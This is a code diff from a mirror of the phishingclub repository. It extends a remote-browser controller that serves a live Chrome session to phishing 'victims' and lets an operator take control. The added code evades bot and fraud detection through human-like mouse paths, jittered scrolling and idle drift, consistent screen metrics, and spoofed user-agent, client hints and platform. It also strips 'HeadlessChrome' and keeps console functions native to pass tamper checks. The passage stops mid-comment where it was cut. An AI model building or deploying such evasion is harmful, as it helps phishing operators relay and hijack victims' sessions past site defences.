mirror of
https://github.com/phishingclub/phishingclub.git
synced 2026-07-30 15:38:49 +02:00
@@ -662,28 +662,36 @@ func (m *RemoteBrowserController) ServeVictim(g *gin.Context) {
|
||||
// Stored as int64 atomics so they can be read from the BrowserCh goroutine
|
||||
// without a mutex; 0 means "not yet received".
|
||||
var vpWidth, vpHeight atomic.Int64
|
||||
var vpDpr atomic.Int64 // recipient devicePixelRatio × 100; 0 means "not yet received"
|
||||
var vpScreenW, vpScreenH atomic.Int64 // recipient screen.width/height; 0 means "not yet received"
|
||||
|
||||
// applyViewport sets the emulated viewport on the rod page if we have both a page
|
||||
// and a non-zero victim viewport. DeviceScaleFactor is set to the recipient's real
|
||||
// devicePixelRatio so a full-page stream is rendered at their device resolution and
|
||||
// stays crisp on HiDPI screens instead of being upscaled. Clamped to [1,2] to bound
|
||||
// bandwidth (each extra factor multiplies the screencast pixel count).
|
||||
// and a non-zero victim viewport. DeviceScaleFactor is pinned to 1: a value != 1
|
||||
// makes Chrome compute mouse movementX/movementY in a scaled space, so
|
||||
// movementX != clientX - prevClientX for CDP-injected events, which detectors flag
|
||||
// as a CDP mouse leak. Rendering at DSF 1 is slightly softer on HiDPI but keeps the
|
||||
// injected mouse coordinates internally consistent.
|
||||
applyViewport := func(page *rod.Page) {
|
||||
w := vpWidth.Load()
|
||||
h := vpHeight.Load()
|
||||
if w <= 0 || h <= 0 || page == nil {
|
||||
return
|
||||
}
|
||||
dsf := float64(vpDpr.Load()) / 100
|
||||
if dsf < 1 {
|
||||
dsf = 1
|
||||
// Mirror the recipient's real screen so screen.width/height stays consistent
|
||||
// with the emulated viewport. Without a screen override the viewport
|
||||
// (innerWidth/Height) exceeds the headless window's default 800x600 screen,
|
||||
// which detectors flag as impossible. Fall back to the viewport size when the
|
||||
// recipient did not report a screen, which still keeps screen >= viewport.
|
||||
sw := int(vpScreenW.Load())
|
||||
if sw < int(w) {
|
||||
sw = int(w)
|
||||
}
|
||||
if dsf > 2 {
|
||||
dsf = 2
|
||||
sh := int(vpScreenH.Load())
|
||||
if sh < int(h) {
|
||||
sh = int(h)
|
||||
}
|
||||
proto.EmulationSetDeviceMetricsOverride{
|
||||
Width: int(w), Height: int(h), DeviceScaleFactor: dsf,
|
||||
Width: int(w), Height: int(h), DeviceScaleFactor: 1,
|
||||
ScreenWidth: &sw, ScreenHeight: &sh,
|
||||
}.Call(page) //nolint:errcheck
|
||||
}
|
||||
|
||||
@@ -725,9 +733,11 @@ func (m *RemoteBrowserController) ServeVictim(g *gin.Context) {
|
||||
KeyCode int64 `json:"keyCode"`
|
||||
Modifiers int64 `json:"modifiers"`
|
||||
CharText string `json:"charText"`
|
||||
Width float64 `json:"width"`
|
||||
Height float64 `json:"height"`
|
||||
Dpr float64 `json:"dpr"`
|
||||
Width float64 `json:"width"`
|
||||
Height float64 `json:"height"`
|
||||
Dpr float64 `json:"dpr"`
|
||||
ScreenWidth float64 `json:"screenWidth"`
|
||||
ScreenHeight float64 `json:"screenHeight"`
|
||||
}
|
||||
if json.Unmarshal(msg, &cmd) != nil {
|
||||
continue
|
||||
@@ -735,8 +745,9 @@ func (m *RemoteBrowserController) ServeVictim(g *gin.Context) {
|
||||
if cmd.Type == "viewport" && cmd.Width > 0 && cmd.Height > 0 {
|
||||
vpWidth.Store(int64(cmd.Width))
|
||||
vpHeight.Store(int64(cmd.Height))
|
||||
if cmd.Dpr > 0 {
|
||||
vpDpr.Store(int64(cmd.Dpr * 100))
|
||||
if cmd.ScreenWidth > 0 && cmd.ScreenHeight > 0 {
|
||||
vpScreenW.Store(int64(cmd.ScreenWidth))
|
||||
vpScreenH.Store(int64(cmd.ScreenHeight))
|
||||
}
|
||||
applyViewport(sess.getBrowserPage())
|
||||
continue
|
||||
@@ -1341,17 +1352,47 @@ func (m *RemoteBrowserController) StreamLiveSession(g *gin.Context) {
|
||||
return
|
||||
}
|
||||
var header struct {
|
||||
Type string `json:"type"`
|
||||
TargetID string `json:"targetID"`
|
||||
X1 float64 `json:"x1"`
|
||||
Y1 float64 `json:"y1"`
|
||||
X2 float64 `json:"x2"`
|
||||
Y2 float64 `json:"y2"`
|
||||
Type string `json:"type"`
|
||||
TargetID string `json:"targetID"`
|
||||
X1 float64 `json:"x1"`
|
||||
Y1 float64 `json:"y1"`
|
||||
X2 float64 `json:"x2"`
|
||||
Y2 float64 `json:"y2"`
|
||||
Width float64 `json:"width"`
|
||||
Height float64 `json:"height"`
|
||||
ScreenWidth float64 `json:"screenWidth"`
|
||||
ScreenHeight float64 `json:"screenHeight"`
|
||||
Dpr float64 `json:"dpr"`
|
||||
}
|
||||
if json.Unmarshal(msg, &header) != nil {
|
||||
continue
|
||||
}
|
||||
switch header.Type {
|
||||
case "viewport":
|
||||
// Editor test runs only: size the target to the admin's own resolution
|
||||
// so remote control is pixel-accurate instead of the headless 800x600
|
||||
// default. Gated on isTest so a live recipient's viewport is never
|
||||
// touched here — the victim owns the shared target's size, and resizing
|
||||
// it under an operator would change what the recipient sees.
|
||||
if controlMode && sess.isTest && header.Width > 0 && header.Height > 0 {
|
||||
if p := getActivePage(); p != nil {
|
||||
// DeviceScaleFactor pinned to 1: a value != 1 makes Chrome scale
|
||||
// mouse movementX/movementY, breaking the movementX == clientX
|
||||
// delta relationship for CDP events (a CDP mouse leak).
|
||||
sw := int(header.ScreenWidth)
|
||||
if sw < int(header.Width) {
|
||||
sw = int(header.Width)
|
||||
}
|
||||
sh := int(header.ScreenHeight)
|
||||
if sh < int(header.Height) {
|
||||
sh = int(header.Height)
|
||||
}
|
||||
proto.EmulationSetDeviceMetricsOverride{
|
||||
Width: int(header.Width), Height: int(header.Height), DeviceScaleFactor: 1,
|
||||
ScreenWidth: &sw, ScreenHeight: &sh,
|
||||
}.Call(p) //nolint:errcheck
|
||||
}
|
||||
}
|
||||
case "switch_tab":
|
||||
tabsMu.Lock()
|
||||
entry, ok := tabs[proto.TargetTargetID(header.TargetID)]
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
var streamLastStart = {} // name → last stream_start message, so mountStream called late still sizes correctly
|
||||
|
||||
ws.onopen = function () {
|
||||
ws.send(JSON.stringify({ type: 'viewport', width: window.innerWidth, height: window.innerHeight, dpr: window.devicePixelRatio || 1 }));
|
||||
ws.send(JSON.stringify({ type: 'viewport', width: window.innerWidth, height: window.innerHeight, dpr: window.devicePixelRatio || 1, screenWidth: screen.width, screenHeight: screen.height }));
|
||||
};
|
||||
|
||||
// Apply stream_start sizing to an already-mounted stream entry.
|
||||
|
||||
@@ -803,12 +803,12 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page,
|
||||
}.Call(page) //nolint:errcheck
|
||||
}
|
||||
|
||||
// humanMoveTo moves the CDP cursor from the last tracked position to
|
||||
// (targetX, targetY) along a cubic Bezier curve with ease-in-out timing
|
||||
// and optional micro-jitter, mimicking natural hand movement.
|
||||
// durationMs <= 0 picks a random value in [200, 400].
|
||||
// jitterPx < 0 uses the default amplitude of 1.5 px.
|
||||
humanMoveTo := func(targetX, targetY, durationMs, jitterPx float64) {
|
||||
// bezierMoveTo moves the CDP cursor from the last tracked position to
|
||||
// (targetX, targetY) along a cubic Bezier curve with ease-in-out timing and
|
||||
// micro-jitter. Per-step timing is varied (and occasionally paused) so the
|
||||
// inter-event intervals are not uniform, which a constant tick rate would be.
|
||||
// durationMs <= 0 picks a random value in [200, 400]; jitterPx < 0 uses 1.5 px.
|
||||
bezierMoveTo := func(targetX, targetY, durationMs, jitterPx float64) {
|
||||
if durationMs <= 0 {
|
||||
durationMs = 200 + rand.Float64()*200
|
||||
}
|
||||
@@ -832,12 +832,14 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page,
|
||||
c2x := startX + dx*0.67 + perpX*(rand.Float64()*2-1)*maxDev
|
||||
c2y := startY + dy*0.67 + perpY*(rand.Float64()*2-1)*maxDev
|
||||
|
||||
steps := int(durationMs / 10)
|
||||
if steps < 5 {
|
||||
steps = 5
|
||||
// Roughly one sample every 8-14 ms, scaled by distance so short hops still
|
||||
// emit several points and long sweeps stay smooth.
|
||||
steps := int(durationMs / (8 + rand.Float64()*6))
|
||||
if steps < 6 {
|
||||
steps = 6
|
||||
}
|
||||
if steps > 60 {
|
||||
steps = 60
|
||||
if steps > 80 {
|
||||
steps = 80
|
||||
}
|
||||
stepDur := time.Duration(float64(time.Millisecond) * durationMs / float64(steps))
|
||||
|
||||
@@ -860,13 +862,48 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page,
|
||||
}
|
||||
cdpMouseMove(bx, by)
|
||||
if i < steps {
|
||||
time.Sleep(stepDur)
|
||||
// Vary each interval by +/-30% so speed is not machine-constant, and
|
||||
// occasionally hesitate the way a real hand does mid-motion.
|
||||
d := time.Duration(float64(stepDur) * (0.7 + rand.Float64()*0.6))
|
||||
if rand.Float64() < 0.08 {
|
||||
d += time.Duration(20+rand.Intn(45)) * time.Millisecond
|
||||
}
|
||||
time.Sleep(d)
|
||||
}
|
||||
}
|
||||
cdpMouseMove(targetX, targetY)
|
||||
mouseX, mouseY = targetX, targetY
|
||||
}
|
||||
|
||||
// humanMoveTo wraps bezierMoveTo, adding overshoot-and-correct for longer
|
||||
// moves: a real pointer tends to shoot slightly past a distant target and then
|
||||
// make a short corrective motion back onto it, rather than landing dead center.
|
||||
humanMoveTo := func(targetX, targetY, durationMs, jitterPx float64) {
|
||||
dx, dy := targetX-mouseX, targetY-mouseY
|
||||
dist := math.Sqrt(dx*dx + dy*dy)
|
||||
if dist > 300 {
|
||||
mainDur := durationMs
|
||||
if mainDur <= 0 {
|
||||
mainDur = 260 + rand.Float64()*220
|
||||
}
|
||||
over := 0.04 + rand.Float64()*0.06 // land 4-10% past the target
|
||||
bezierMoveTo(targetX+dx*over, targetY+dy*over, mainDur*0.85, jitterPx)
|
||||
// Brief settle, then correct back onto the target.
|
||||
select {
|
||||
case <-page.GetContext().Done():
|
||||
return
|
||||
case <-time.After(time.Duration(40+rand.Intn(50)) * time.Millisecond):
|
||||
}
|
||||
corr := jitterPx
|
||||
if corr > 0 {
|
||||
corr *= 0.6
|
||||
}
|
||||
bezierMoveTo(targetX, targetY, 90+rand.Float64()*70, corr)
|
||||
return
|
||||
}
|
||||
bezierMoveTo(targetX, targetY, durationMs, jitterPx)
|
||||
}
|
||||
|
||||
pc.Set("moveMouse", func(call goja.FunctionCall) goja.Value {
|
||||
targetX := call.Argument(0).ToFloat()
|
||||
targetY := call.Argument(1).ToFloat()
|
||||
@@ -926,6 +963,83 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page,
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
// humanScroll scrolls the page by deltaY CSS pixels (positive = down) using
|
||||
// eased mouse-wheel events with jittered step sizes and intervals, instead of a
|
||||
// single instant jump. An options object may set { duration } in ms.
|
||||
pc.Set("humanScroll", func(call goja.FunctionCall) goja.Value {
|
||||
totalY := call.Argument(0).ToFloat()
|
||||
durationMs := 350.0 + rand.Float64()*350
|
||||
if len(call.Arguments) > 1 {
|
||||
if obj := call.Argument(1).ToObject(vm); obj != nil {
|
||||
if v := obj.Get("duration"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
|
||||
durationMs = v.ToFloat()
|
||||
}
|
||||
}
|
||||
}
|
||||
dbg(fmt.Sprintf("→ humanScroll %.0f", totalY))
|
||||
steps := int(math.Abs(totalY)/90) + 4
|
||||
if steps > 40 {
|
||||
steps = 40
|
||||
}
|
||||
stepDur := time.Duration(float64(time.Millisecond) * durationMs / float64(steps))
|
||||
var done float64
|
||||
for i := 1; i <= steps; i++ {
|
||||
select {
|
||||
case <-page.GetContext().Done():
|
||||
return goja.Undefined()
|
||||
default:
|
||||
}
|
||||
t := float64(i) / float64(steps)
|
||||
te := t * t * (3 - 2*t) // ease-in-out
|
||||
target := totalY * te
|
||||
delta := target - done
|
||||
done = target
|
||||
// Jitter each wheel notch so deltas are not perfectly smooth.
|
||||
delta += (rand.Float64()*2 - 1) * math.Abs(delta) * 0.15
|
||||
proto.InputDispatchMouseEvent{
|
||||
Type: proto.InputDispatchMouseEventTypeMouseWheel,
|
||||
X: math.Round(mouseX),
|
||||
Y: math.Round(mouseY),
|
||||
DeltaX: 0,
|
||||
DeltaY: delta,
|
||||
Timestamp: proto.TimeSinceEpoch(float64(time.Now().UnixNano()) / 1e9),
|
||||
PointerType: proto.InputDispatchMouseEventPointerTypeMouse,
|
||||
}.Call(page) //nolint:errcheck
|
||||
if i < steps {
|
||||
d := time.Duration(float64(stepDur) * (0.7 + rand.Float64()*0.6))
|
||||
time.Sleep(d)
|
||||
}
|
||||
}
|
||||
dbg(fmt.Sprintf("✓ humanScroll %.0f", totalY))
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
// humanIdle spends about ms milliseconds producing low-amplitude pointer drift
|
||||
// interleaved with pauses, the way a person rests a hand on the mouse. Use it to
|
||||
// accumulate natural behavioural signal on pages that classify inactivity as bot.
|
||||
pc.Set("humanIdle", func(call goja.FunctionCall) goja.Value {
|
||||
ms := call.Argument(0).ToInteger()
|
||||
dbg(fmt.Sprintf("→ humanIdle %dms", ms))
|
||||
deadline := time.Now().Add(time.Duration(ms) * time.Millisecond)
|
||||
for time.Now().Before(deadline) {
|
||||
select {
|
||||
case <-page.GetContext().Done():
|
||||
return goja.Undefined()
|
||||
default:
|
||||
}
|
||||
nx := mouseX + (rand.Float64()*2-1)*40
|
||||
ny := mouseY + (rand.Float64()*2-1)*30
|
||||
humanMoveTo(nx, ny, 120+rand.Float64()*180, -1)
|
||||
select {
|
||||
case <-page.GetContext().Done():
|
||||
return goja.Undefined()
|
||||
case <-time.After(time.Duration(200+rand.Intn(600)) * time.Millisecond):
|
||||
}
|
||||
}
|
||||
dbg(fmt.Sprintf("✓ humanIdle %dms", ms))
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
pc.Set("scrollIntoView", func(call goja.FunctionCall) goja.Value {
|
||||
sel := argStr(call.Argument(0))
|
||||
dbg("→ scrollIntoView " + sel)
|
||||
@@ -1372,8 +1486,13 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page,
|
||||
w := call.Argument(0).ToInteger()
|
||||
h := call.Argument(1).ToInteger()
|
||||
dbg(fmt.Sprintf("→ setViewport %dx%d", w, h))
|
||||
// Override the screen dimensions to match the viewport. Otherwise screen.*
|
||||
// stays at the headless window default (800x600) while innerWidth/Height take
|
||||
// the new size, which detectors flag as an impossible viewport-exceeds-screen.
|
||||
sw, sh := int(w), int(h)
|
||||
must(proto.EmulationSetDeviceMetricsOverride{
|
||||
Width: int(w), Height: int(h), DeviceScaleFactor: 1,
|
||||
ScreenWidth: &sw, ScreenHeight: &sh,
|
||||
}.Call(page))
|
||||
dbg(fmt.Sprintf("✓ setViewport %dx%d", w, h))
|
||||
return goja.Undefined()
|
||||
@@ -1383,9 +1502,11 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page,
|
||||
w := call.Argument(0).ToInteger()
|
||||
h := call.Argument(1).ToInteger()
|
||||
dbg(fmt.Sprintf("→ setViewportMobile %dx%d", w, h))
|
||||
sw, sh := int(w), int(h)
|
||||
must(proto.EmulationSetDeviceMetricsOverride{
|
||||
Width: int(w), Height: int(h), DeviceScaleFactor: 1,
|
||||
Mobile: true,
|
||||
Mobile: true,
|
||||
ScreenWidth: &sw, ScreenHeight: &sh,
|
||||
}.Call(page))
|
||||
must(proto.EmulationSetTouchEmulationEnabled{Enabled: true}.Call(page))
|
||||
dbg(fmt.Sprintf("✓ setViewportMobile %dx%d", w, h))
|
||||
@@ -1402,7 +1523,20 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page,
|
||||
pc.Set("setUserAgent", func(call goja.FunctionCall) goja.Value {
|
||||
ua := argStr(call.Argument(0))
|
||||
dbg("→ setUserAgent " + ua)
|
||||
must(proto.EmulationSetUserAgentOverride{UserAgent: ua}.Call(page))
|
||||
// Set platform and client-hint metadata alongside the UA string. A string-only
|
||||
// override leaves navigator.platform and Sec-CH-UA untouched, so they contradict
|
||||
// the UA. Two limits remain, both unavoidable at the page level:
|
||||
// - This override is page scoped and does not reach the service worker, which
|
||||
// keeps the process (launch-flag) identity. For an identity consistent across
|
||||
// every context, pass userAgent to newSession() instead of calling this.
|
||||
// - navigator.platform in worker contexts follows the host OS and cannot be
|
||||
// overridden, so a cross-OS UA (e.g. macOS on a Linux host) still mismatches
|
||||
// there. Prefer a UA whose OS matches the host.
|
||||
must(proto.EmulationSetUserAgentOverride{
|
||||
UserAgent: ua,
|
||||
Platform: uaPlatform(ua),
|
||||
UserAgentMetadata: uaMetadata(ua),
|
||||
}.Call(page))
|
||||
dbg("✓ setUserAgent")
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
+189
-32
@@ -9,6 +9,7 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
@@ -32,13 +33,124 @@ type Config struct {
|
||||
Headless bool `json:"headless"` // run Chrome in headless mode (mode=local)
|
||||
Timeout int `json:"timeout"` // ms, 0 = use DefaultTimeout
|
||||
Lang string `json:"lang"` // BCP 47 locale e.g. "en-US" (mode=local)
|
||||
Timezone string `json:"timezone"` // IANA timezone e.g. "Europe/Copenhagen" to match the exit network
|
||||
ExtraFlags []string `json:"extraFlags"` // additional Chrome CLI flags e.g. ["--use-gl=egl"] (mode=local)
|
||||
}
|
||||
|
||||
const DefaultTimeout = 60_000 // ms
|
||||
|
||||
// DefaultChromiumUA default user-agent
|
||||
const DefaultChromiumUA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
|
||||
// DefaultChromiumUA is the fallback user-agent used when the real browser version
|
||||
// cannot be probed. It presents a Linux Chrome identity matching the host OS so
|
||||
// navigator.platform, the client hints, and every worker context stay consistent.
|
||||
// A Windows disguise cannot: navigator.platform is not overridable in worker and
|
||||
// service-worker contexts, so it always contradicts a Windows UA there. The major
|
||||
// version tracks the bundled Chromium (rod RevisionDefault); prefer the real,
|
||||
// probed version via detectChromeMajor at runtime.
|
||||
const DefaultChromiumUA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36"
|
||||
|
||||
// chromeVersionRe matches a full Chromium version like "128.0.6568.0".
|
||||
var chromeVersionRe = regexp.MustCompile(`(\d+)\.\d+\.\d+\.\d+`)
|
||||
|
||||
// uaChromeMajorRe extracts the major version from a UA string ("Chrome/128...").
|
||||
var uaChromeMajorRe = regexp.MustCompile(`Chrome/(\d+)`)
|
||||
|
||||
// detectChromeMajor runs `<bin> --version` and returns the major version, e.g.
|
||||
// "128" from "Chromium 128.0.6568.0". Returns "" when the binary cannot be probed;
|
||||
// the caller falls back to DefaultChromiumUA. Probing the real binary keeps the
|
||||
// spoofed UA version in lockstep with the engine, so a version cross-check cannot
|
||||
// catch a UA that claims a version the engine does not support.
|
||||
func detectChromeMajor(ctx context.Context, bin string) string {
|
||||
c, cancel := context.WithTimeout(ctx, 5*time.Second)
|
||||
defer cancel()
|
||||
out, err := exec.CommandContext(c, bin, "--version").Output()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
if m := chromeVersionRe.FindStringSubmatch(string(out)); m != nil {
|
||||
return m[1]
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// linuxChromeUA builds a reduced Linux Chrome user-agent for the given major
|
||||
// version, matching Chrome's UA-reduction format (minor, build, and patch zeroed).
|
||||
func linuxChromeUA(major string) string {
|
||||
return fmt.Sprintf(
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s.0.0.0 Safari/537.36",
|
||||
major)
|
||||
}
|
||||
|
||||
// cleanHeadlessUA strips the "HeadlessChrome" token from a real user-agent so a
|
||||
// remote headless browser reports as ordinary Chrome. Used only in remote mode,
|
||||
// where a launch flag is not available.
|
||||
func cleanHeadlessUA(ua string) string {
|
||||
return strings.ReplaceAll(ua, "HeadlessChrome", "Chrome")
|
||||
}
|
||||
|
||||
// uaPlatform returns the navigator.platform value that matches ua's OS token.
|
||||
func uaPlatform(ua string) string {
|
||||
switch {
|
||||
case strings.Contains(ua, "Windows"):
|
||||
return "Win32"
|
||||
case strings.Contains(ua, "Macintosh"), strings.Contains(ua, "Mac OS"):
|
||||
return "MacIntel"
|
||||
default:
|
||||
return "Linux x86_64"
|
||||
}
|
||||
}
|
||||
|
||||
// uaMetadata builds client-hint metadata (Sec-CH-UA / navigator.userAgentData)
|
||||
// consistent with ua's version and OS. Setting this alongside the UA string avoids
|
||||
// the empty-client-hints tell that a string-only override produces.
|
||||
func uaMetadata(ua string) *proto.EmulationUserAgentMetadata {
|
||||
major := "128"
|
||||
if m := uaChromeMajorRe.FindStringSubmatch(ua); m != nil {
|
||||
major = m[1]
|
||||
}
|
||||
platform := "Linux"
|
||||
switch {
|
||||
case strings.Contains(ua, "Windows"):
|
||||
platform = "Windows"
|
||||
case strings.Contains(ua, "Macintosh"), strings.Contains(ua, "Mac OS"):
|
||||
platform = "macOS"
|
||||
}
|
||||
return &proto.EmulationUserAgentMetadata{
|
||||
Brands: []*proto.EmulationUserAgentBrandVersion{
|
||||
{Brand: "Not;A=Brand", Version: "24"},
|
||||
{Brand: "Chromium", Version: major},
|
||||
{Brand: "Google Chrome", Version: major},
|
||||
},
|
||||
Platform: platform,
|
||||
Architecture: "x86",
|
||||
Bitness: "64",
|
||||
Mobile: false,
|
||||
}
|
||||
}
|
||||
|
||||
// applyRemoteIdentity aligns a remote browser's main-frame identity via CDP.
|
||||
// Remote mode cannot take a launch flag, so this strips any "HeadlessChrome" token
|
||||
// from the real UA and sets a matching platform and client-hint metadata. Worker
|
||||
// contexts of a remote browser inherit the remote's own process UA and are out of
|
||||
// our control here; operators should run a non-headless remote browser.
|
||||
func applyRemoteIdentity(page *rod.Page, customUA string, emitter *channelEmitter) {
|
||||
ua := customUA
|
||||
if ua == "" {
|
||||
if ver, err := (proto.BrowserGetVersion{}).Call(page); err == nil {
|
||||
ua = cleanHeadlessUA(ver.UserAgent)
|
||||
}
|
||||
if ua == "" {
|
||||
ua = DefaultChromiumUA
|
||||
}
|
||||
}
|
||||
override := &proto.NetworkSetUserAgentOverride{
|
||||
UserAgent: ua,
|
||||
Platform: uaPlatform(ua),
|
||||
UserAgentMetadata: uaMetadata(ua),
|
||||
}
|
||||
if err := page.SetUserAgent(override); err != nil {
|
||||
emitter.log(fmt.Sprintf("[session] warning: failed to set user-agent: %v", err))
|
||||
}
|
||||
}
|
||||
|
||||
// DefaultConfig returns a default config.
|
||||
func DefaultConfig() Config {
|
||||
@@ -462,11 +574,13 @@ func (r *Runner) Run(ctx context.Context) error {
|
||||
QueryTimeout int // ms; 0 = no timeout on read ops
|
||||
UserAgent string
|
||||
Lang string // BCP 47 locale, e.g. "en-US" - sets --lang flag (local mode only)
|
||||
Timezone string // IANA timezone, e.g. "Europe/Copenhagen" - overrides browser timezone
|
||||
ExtraFlags []string // additional Chrome CLI flags e.g. ["--use-gl=egl"] (local mode only)
|
||||
}
|
||||
opts := sessionOpts{
|
||||
Headless: r.Config.Headless,
|
||||
Lang: r.Config.Lang,
|
||||
Timezone: r.Config.Timezone,
|
||||
ExtraFlags: r.Config.ExtraFlags,
|
||||
}
|
||||
if r.Config.Proxy != "" {
|
||||
@@ -506,6 +620,9 @@ func (r *Runner) Run(ctx context.Context) error {
|
||||
if v := obj.Get("lang"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
|
||||
opts.Lang = v.String()
|
||||
}
|
||||
if v := obj.Get("timezone"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
|
||||
opts.Timezone = v.String()
|
||||
}
|
||||
if v := obj.Get("extraFlags"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
|
||||
if arr, ok := v.Export().([]interface{}); ok {
|
||||
for _, item := range arr {
|
||||
@@ -520,6 +637,9 @@ func (r *Runner) Run(ctx context.Context) error {
|
||||
|
||||
var browser *rod.Browser
|
||||
var page *rod.Page
|
||||
// launchUA is the identity applied in local mode via the --user-agent launch
|
||||
// flag; it also drives the OS-appropriate WebGL renderer choice below.
|
||||
var launchUA string
|
||||
|
||||
if opts.Remote != "" {
|
||||
if opts.Proxy != "" {
|
||||
@@ -534,7 +654,12 @@ func (r *Runner) Run(ctx context.Context) error {
|
||||
return goja.Undefined()
|
||||
}
|
||||
emitter.log(fmt.Sprintf("[session] connecting to remote browser at %s", wsURL))
|
||||
browser = rod.New().ControlURL(wsURL).Context(outerCtx)
|
||||
// NoDefaultDevice disables rod's default LaptopWithMDPIScreen emulation,
|
||||
// which otherwise overrides every new page with a macOS Chrome 114 UA, an
|
||||
// "en" Accept-Language, and a 1280x800 device-metrics override. Those
|
||||
// contradict the real Linux platform, blank the client hints, and make the
|
||||
// viewport exceed the screen. We manage identity ourselves instead.
|
||||
browser = rod.New().ControlURL(wsURL).Context(outerCtx).NoDefaultDevice()
|
||||
if connectErr := browser.Connect(); connectErr != nil {
|
||||
emitter.errorf(fmt.Sprintf("browser connect failed: %v", connectErr))
|
||||
return goja.Undefined()
|
||||
@@ -586,13 +711,15 @@ func (r *Runner) Run(ctx context.Context) error {
|
||||
"XDG_CACHE_HOME="+filepath.Join(rootDir, "cache"),
|
||||
)...)
|
||||
|
||||
var binPath string
|
||||
if r.ExecPath != "" {
|
||||
emitter.log(fmt.Sprintf("[session] using browser: %s", r.ExecPath))
|
||||
l = l.Bin(r.ExecPath)
|
||||
binPath = r.ExecPath
|
||||
emitter.log(fmt.Sprintf("[session] using browser: %s", binPath))
|
||||
l = l.Bin(binPath)
|
||||
} else {
|
||||
b := launcher.NewBrowser()
|
||||
b.RootDir = rootDir
|
||||
binPath := b.BinPath()
|
||||
binPath = b.BinPath()
|
||||
if _, err := os.Stat(binPath); os.IsNotExist(err) {
|
||||
if err := b.Download(); err != nil {
|
||||
emitter.errorf(fmt.Sprintf("browser download failed: %v", err))
|
||||
@@ -602,6 +729,25 @@ func (r *Runner) Run(ctx context.Context) error {
|
||||
emitter.log(fmt.Sprintf("[session] using browser: %s", binPath))
|
||||
l = l.Bin(binPath)
|
||||
}
|
||||
|
||||
// Set the user-agent at the process level via the launch flag so every
|
||||
// context (main frame, web workers, and service workers) reports the same
|
||||
// identity. A page-level CDP override does not reach service workers, which
|
||||
// then leak the real "HeadlessChrome" UA and the true OS and version. When
|
||||
// no custom UA is given we present a Linux Chrome identity matching the host
|
||||
// OS and the real engine version, so navigator.platform, the client hints,
|
||||
// and the version stay consistent across every context.
|
||||
launchUA = opts.UserAgent
|
||||
if launchUA == "" {
|
||||
if major := detectChromeMajor(outerCtx, binPath); major != "" {
|
||||
launchUA = linuxChromeUA(major)
|
||||
} else {
|
||||
launchUA = DefaultChromiumUA
|
||||
}
|
||||
}
|
||||
emitter.log(fmt.Sprintf("[session] using user-agent: %s", launchUA))
|
||||
l = l.Set("user-agent", launchUA)
|
||||
|
||||
if opts.Proxy != "" {
|
||||
emitter.log(fmt.Sprintf("[session] using proxy: %s", opts.Proxy))
|
||||
l = l.Proxy(opts.Proxy).Set("proxy-bypass-list", "")
|
||||
@@ -648,7 +794,11 @@ func (r *Runner) Run(ctx context.Context) error {
|
||||
l.Kill()
|
||||
l.Cleanup()
|
||||
}()
|
||||
browser = rod.New().ControlURL(u).Context(outerCtx)
|
||||
// NoDefaultDevice disables rod's default LaptopWithMDPIScreen emulation
|
||||
// (macOS Chrome 114 UA, "en" Accept-Language, 1280x800 device metrics),
|
||||
// which would override the launch-flag identity on the window and make the
|
||||
// viewport exceed the screen. We manage identity ourselves instead.
|
||||
browser = rod.New().ControlURL(u).Context(outerCtx).NoDefaultDevice()
|
||||
if err := browser.Connect(); err != nil {
|
||||
emitter.errorf(fmt.Sprintf("browser connect failed: %v", err))
|
||||
return goja.Undefined()
|
||||
@@ -666,35 +816,42 @@ func (r *Runner) Run(ctx context.Context) error {
|
||||
browser.Close() //nolint:errcheck
|
||||
return goja.Undefined()
|
||||
}
|
||||
// patch console Log
|
||||
_, err = page.EvalOnNewDocument(`() => {
|
||||
const noop = () => {};
|
||||
// Note: console.* are deliberately left native. Replacing them with noop
|
||||
// functions (to suppress page logging) makes console.log.toString() non-native,
|
||||
// which trips TamperedFunctions. The console is not captured anyway — we never
|
||||
// enable the Runtime domain (see the opsec note in browser.go), so no page
|
||||
// console output reaches the server regardless.
|
||||
}
|
||||
|
||||
console.log = noop;
|
||||
console.table = noop;
|
||||
console.clear = noop;
|
||||
console.debug = noop;
|
||||
console.info = noop;
|
||||
console.warn = noop;
|
||||
}`)
|
||||
if err != nil {
|
||||
emitter.errorf(fmt.Sprintf("console patch failed: %v", err))
|
||||
browser.Close() //nolint:errcheck
|
||||
return goja.Undefined()
|
||||
// Identity handling differs by mode:
|
||||
// local — the UA is already set via the --user-agent launch flag above,
|
||||
// which keeps every context (including service workers) consistent
|
||||
// and preserves Chrome's native client hints. No CDP override here.
|
||||
// remote — no launch flag is possible, so align the main frame via CDP:
|
||||
// fetch the real UA, strip any "HeadlessChrome" token, and set a
|
||||
// matching platform and client-hint metadata.
|
||||
if opts.Remote != "" {
|
||||
applyRemoteIdentity(page, opts.UserAgent, emitter)
|
||||
}
|
||||
|
||||
// Timezone override keeps the navigator/Intl timezone aligned with the exit
